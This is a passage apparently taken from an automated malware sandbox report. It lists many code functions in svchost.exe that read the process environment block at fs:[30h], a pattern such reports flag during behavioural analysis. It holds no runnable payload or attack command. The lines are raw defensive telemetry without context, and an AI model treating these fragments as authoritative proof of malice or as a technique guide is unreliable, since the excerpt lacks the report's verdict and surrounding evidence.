            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038527ED mov eax, dword ptr fs:[00000030h]8_2_038527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038527ED mov eax, dword ptr fs:[00000030h]8_2_038527ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BE7E1 mov eax, dword ptr fs:[00000030h]8_2_038BE7E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038347FB mov eax, dword ptr fs:[00000030h]8_2_038347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038347FB mov eax, dword ptr fs:[00000030h]8_2_038347FB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C700 mov eax, dword ptr fs:[00000030h]8_2_0386C700
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830710 mov eax, dword ptr fs:[00000030h]8_2_03830710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03860710 mov eax, dword ptr fs:[00000030h]8_2_03860710
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C720 mov eax, dword ptr fs:[00000030h]8_2_0386C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C720 mov eax, dword ptr fs:[00000030h]8_2_0386C720
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386273C mov eax, dword ptr fs:[00000030h]8_2_0386273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386273C mov ecx, dword ptr fs:[00000030h]8_2_0386273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386273C mov eax, dword ptr fs:[00000030h]8_2_0386273C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AC730 mov eax, dword ptr fs:[00000030h]8_2_038AC730
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386674D mov esi, dword ptr fs:[00000030h]8_2_0386674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386674D mov eax, dword ptr fs:[00000030h]8_2_0386674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386674D mov eax, dword ptr fs:[00000030h]8_2_0386674D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830750 mov eax, dword ptr fs:[00000030h]8_2_03830750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BE75D mov eax, dword ptr fs:[00000030h]8_2_038BE75D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872750 mov eax, dword ptr fs:[00000030h]8_2_03872750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872750 mov eax, dword ptr fs:[00000030h]8_2_03872750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B4755 mov eax, dword ptr fs:[00000030h]8_2_038B4755
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838770 mov eax, dword ptr fs:[00000030h]8_2_03838770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840770 mov eax, dword ptr fs:[00000030h]8_2_03840770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03834690 mov eax, dword ptr fs:[00000030h]8_2_03834690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03834690 mov eax, dword ptr fs:[00000030h]8_2_03834690
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C6A6 mov eax, dword ptr fs:[00000030h]8_2_0386C6A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038666B0 mov eax, dword ptr fs:[00000030h]8_2_038666B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A6C7 mov ebx, dword ptr fs:[00000030h]8_2_0386A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A6C7 mov eax, dword ptr fs:[00000030h]8_2_0386A6C7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE6F2 mov eax, dword ptr fs:[00000030h]8_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE6F2 mov eax, dword ptr fs:[00000030h]8_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE6F2 mov eax, dword ptr fs:[00000030h]8_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE6F2 mov eax, dword ptr fs:[00000030h]8_2_038AE6F2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B06F1 mov eax, dword ptr fs:[00000030h]8_2_038B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B06F1 mov eax, dword ptr fs:[00000030h]8_2_038B06F1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AE609 mov eax, dword ptr fs:[00000030h]8_2_038AE609
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384260B mov eax, dword ptr fs:[00000030h]8_2_0384260B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872619 mov eax, dword ptr fs:[00000030h]8_2_03872619
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384E627 mov eax, dword ptr fs:[00000030h]8_2_0384E627
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03866620 mov eax, dword ptr fs:[00000030h]8_2_03866620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03868620 mov eax, dword ptr fs:[00000030h]8_2_03868620
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383262C mov eax, dword ptr fs:[00000030h]8_2_0383262C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0384C640 mov eax, dword ptr fs:[00000030h]8_2_0384C640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F866E mov eax, dword ptr fs:[00000030h]8_2_038F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F866E mov eax, dword ptr fs:[00000030h]8_2_038F866E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A660 mov eax, dword ptr fs:[00000030h]8_2_0386A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A660 mov eax, dword ptr fs:[00000030h]8_2_0386A660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03862674 mov eax, dword ptr fs:[00000030h]8_2_03862674
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03832582 mov eax, dword ptr fs:[00000030h]8_2_03832582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03832582 mov ecx, dword ptr fs:[00000030h]8_2_03832582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03864588 mov eax, dword ptr fs:[00000030h]8_2_03864588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E59C mov eax, dword ptr fs:[00000030h]8_2_0386E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B05A7 mov eax, dword ptr fs:[00000030h]8_2_038B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B05A7 mov eax, dword ptr fs:[00000030h]8_2_038B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B05A7 mov eax, dword ptr fs:[00000030h]8_2_038B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038545B1 mov eax, dword ptr fs:[00000030h]8_2_038545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038545B1 mov eax, dword ptr fs:[00000030h]8_2_038545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E5CF mov eax, dword ptr fs:[00000030h]8_2_0386E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E5CF mov eax, dword ptr fs:[00000030h]8_2_0386E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038365D0 mov eax, dword ptr fs:[00000030h]8_2_038365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A5D0 mov eax, dword ptr fs:[00000030h]8_2_0386A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A5D0 mov eax, dword ptr fs:[00000030h]8_2_0386A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E5E7 mov eax, dword ptr fs:[00000030h]8_2_0385E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038325E0 mov eax, dword ptr fs:[00000030h]8_2_038325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C5ED mov eax, dword ptr fs:[00000030h]8_2_0386C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386C5ED mov eax, dword ptr fs:[00000030h]8_2_0386C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C6500 mov eax, dword ptr fs:[00000030h]8_2_038C6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904500 mov eax, dword ptr fs:[00000030h]8_2_03904500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840535 mov eax, dword ptr fs:[00000030h]8_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840535 mov eax, dword ptr fs:[00000030h]8_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840535 mov eax, dword ptr fs:[00000030h]8_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840535 mov eax, dword ptr fs:[00000030h]8_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840535 mov eax, dword ptr fs:[00000030h]8_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840535 mov eax, dword ptr fs:[00000030h]8_2_03840535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E53E mov eax, dword ptr fs:[00000030h]8_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E53E mov eax, dword ptr fs:[00000030h]8_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E53E mov eax, dword ptr fs:[00000030h]8_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E53E mov eax, dword ptr fs:[00000030h]8_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385E53E mov eax, dword ptr fs:[00000030h]8_2_0385E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838550 mov eax, dword ptr fs:[00000030h]8_2_03838550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838550 mov eax, dword ptr fs:[00000030h]8_2_03838550
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386656A mov eax, dword ptr fs:[00000030h]8_2_0386656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386656A mov eax, dword ptr fs:[00000030h]8_2_0386656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386656A mov eax, dword ptr fs:[00000030h]8_2_0386656A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EA49A mov eax, dword ptr fs:[00000030h]8_2_038EA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038364AB mov eax, dword ptr fs:[00000030h]8_2_038364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038644B0 mov ecx, dword ptr fs:[00000030h]8_2_038644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BA4B0 mov eax, dword ptr fs:[00000030h]8_2_038BA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038304E5 mov ecx, dword ptr fs:[00000030h]8_2_038304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03868402 mov eax, dword ptr fs:[00000030h]8_2_03868402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03868402 mov eax, dword ptr fs:[00000030h]8_2_03868402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03868402 mov eax, dword ptr fs:[00000030h]8_2_03868402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382E420 mov eax, dword ptr fs:[00000030h]8_2_0382E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382E420 mov eax, dword ptr fs:[00000030h]8_2_0382E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382E420 mov eax, dword ptr fs:[00000030h]8_2_0382E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382C427 mov eax, dword ptr fs:[00000030h]8_2_0382C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038B6420 mov eax, dword ptr fs:[00000030h]8_2_038B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386A430 mov eax, dword ptr fs:[00000030h]8_2_0386A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386E443 mov eax, dword ptr fs:[00000030h]8_2_0386E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038EA456 mov eax, dword ptr fs:[00000030h]8_2_038EA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382645D mov eax, dword ptr fs:[00000030h]8_2_0382645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385245A mov eax, dword ptr fs:[00000030h]8_2_0385245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BC460 mov ecx, dword ptr fs:[00000030h]8_2_038BC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385A470 mov eax, dword ptr fs:[00000030h]8_2_0385A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385A470 mov eax, dword ptr fs:[00000030h]8_2_0385A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385A470 mov eax, dword ptr fs:[00000030h]8_2_0385A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840BBE mov eax, dword ptr fs:[00000030h]8_2_03840BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03840BBE mov eax, dword ptr fs:[00000030h]8_2_03840BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E4BB0 mov eax, dword ptr fs:[00000030h]8_2_038E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E4BB0 mov eax, dword ptr fs:[00000030h]8_2_038E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03850BCB mov eax, dword ptr fs:[00000030h]8_2_03850BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03850BCB mov eax, dword ptr fs:[00000030h]8_2_03850BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03850BCB mov eax, dword ptr fs:[00000030h]8_2_03850BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830BCD mov eax, dword ptr fs:[00000030h]8_2_03830BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830BCD mov eax, dword ptr fs:[00000030h]8_2_03830BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830BCD mov eax, dword ptr fs:[00000030h]8_2_03830BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DEBD0 mov eax, dword ptr fs:[00000030h]8_2_038DEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838BF0 mov eax, dword ptr fs:[00000030h]8_2_03838BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838BF0 mov eax, dword ptr fs:[00000030h]8_2_03838BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838BF0 mov eax, dword ptr fs:[00000030h]8_2_03838BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385EBFC mov eax, dword ptr fs:[00000030h]8_2_0385EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BCBF0 mov eax, dword ptr fs:[00000030h]8_2_038BCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904B00 mov eax, dword ptr fs:[00000030h]8_2_03904B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038AEB1D mov eax, dword ptr fs:[00000030h]8_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385EB20 mov eax, dword ptr fs:[00000030h]8_2_0385EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385EB20 mov eax, dword ptr fs:[00000030h]8_2_0385EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F8B28 mov eax, dword ptr fs:[00000030h]8_2_038F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038F8B28 mov eax, dword ptr fs:[00000030h]8_2_038F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E4B4B mov eax, dword ptr fs:[00000030h]8_2_038E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038E4B4B mov eax, dword ptr fs:[00000030h]8_2_038E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03902B57 mov eax, dword ptr fs:[00000030h]8_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03902B57 mov eax, dword ptr fs:[00000030h]8_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03902B57 mov eax, dword ptr fs:[00000030h]8_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03902B57 mov eax, dword ptr fs:[00000030h]8_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C6B40 mov eax, dword ptr fs:[00000030h]8_2_038C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038C6B40 mov eax, dword ptr fs:[00000030h]8_2_038C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038FAB40 mov eax, dword ptr fs:[00000030h]8_2_038FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038D8B42 mov eax, dword ptr fs:[00000030h]8_2_038D8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03828B50 mov eax, dword ptr fs:[00000030h]8_2_03828B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038DEB50 mov eax, dword ptr fs:[00000030h]8_2_038DEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0382CB7E mov eax, dword ptr fs:[00000030h]8_2_0382CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0383EA80 mov eax, dword ptr fs:[00000030h]8_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03904A80 mov eax, dword ptr fs:[00000030h]8_2_03904A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03868A90 mov edx, dword ptr fs:[00000030h]8_2_03868A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838AA0 mov eax, dword ptr fs:[00000030h]8_2_03838AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03838AA0 mov eax, dword ptr fs:[00000030h]8_2_03838AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03886AA4 mov eax, dword ptr fs:[00000030h]8_2_03886AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03886ACC mov eax, dword ptr fs:[00000030h]8_2_03886ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03886ACC mov eax, dword ptr fs:[00000030h]8_2_03886ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03886ACC mov eax, dword ptr fs:[00000030h]8_2_03886ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03830AD0 mov eax, dword ptr fs:[00000030h]8_2_03830AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03864AD0 mov eax, dword ptr fs:[00000030h]8_2_03864AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03864AD0 mov eax, dword ptr fs:[00000030h]8_2_03864AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386AAEE mov eax, dword ptr fs:[00000030h]8_2_0386AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386AAEE mov eax, dword ptr fs:[00000030h]8_2_0386AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038BCA11 mov eax, dword ptr fs:[00000030h]8_2_038BCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386CA24 mov eax, dword ptr fs:[00000030h]8_2_0386CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0385EA2E mov eax, dword ptr fs:[00000030h]8_2_0385EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03854A35 mov eax, dword ptr fs:[00000030h]8_2_03854A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03854A35 mov eax, dword ptr fs:[00000030h]8_2_03854A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0386CA38 mov eax, dword ptr fs:[00000030h]8_2_0386CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03836A50 mov eax, dword ptr fs:[00000030h]8_2_03836A50
